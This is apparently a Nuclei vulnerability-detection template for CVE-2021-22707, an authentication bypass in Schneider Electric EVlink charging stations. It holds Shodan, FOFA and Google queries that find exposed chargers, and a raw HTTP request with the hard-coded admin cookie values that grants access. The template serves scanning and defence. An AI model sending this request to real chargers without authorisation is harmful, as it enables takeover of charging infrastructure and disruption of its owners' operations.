EVlink City < R8 V3.4.0.1 - Authentication Bypass

id: CVE-2021-22707

info:
  name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
  author: ritikchaddha,dorkerdevil
  severity: critical
  description: |
    A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
  impact: |
    Unauthenticated attackers can bypass authentication via hardcoded credentials and issue unauthorized administrative commands to the charging station web server, potentially disrupting charging operations or stealing sensitive data.
  remediation: |
    Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.
  reference:
    - https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22707
    - http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22707
    cwe-id: CWE-798
    epss-score: 0.64612
    epss-percentile: 0.99143
    cpe: cpe:2.3:o:schneider-electric:evlink_city_evc1s22p4_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: schneider-electric
    product: evlink_city_evc1s22p4_firmware
    shodan-query:
      - title:"EVSE web interface"
      - http.title:"evse web interface"
    fofa-query:
      - title="EVSE web interface"
      - title="evse web interface"
    google-query: intitle:"evse web interface"
  tags: cve2021,cve,evlink,auth-bypass,schneider-electric,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '?worker=Cluster" name="cluster" id="id_cluster'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d20fade538b6ec1bbf74bf79b8ba0870cdacada3a278b7f0bc34e2a2dcfab5dd02206e454a6e66ff84c61b171b5a73266b59b6e47f2745a1864f26a8e2016a4f89f5:922c64590222798bb761d5b6d8e72950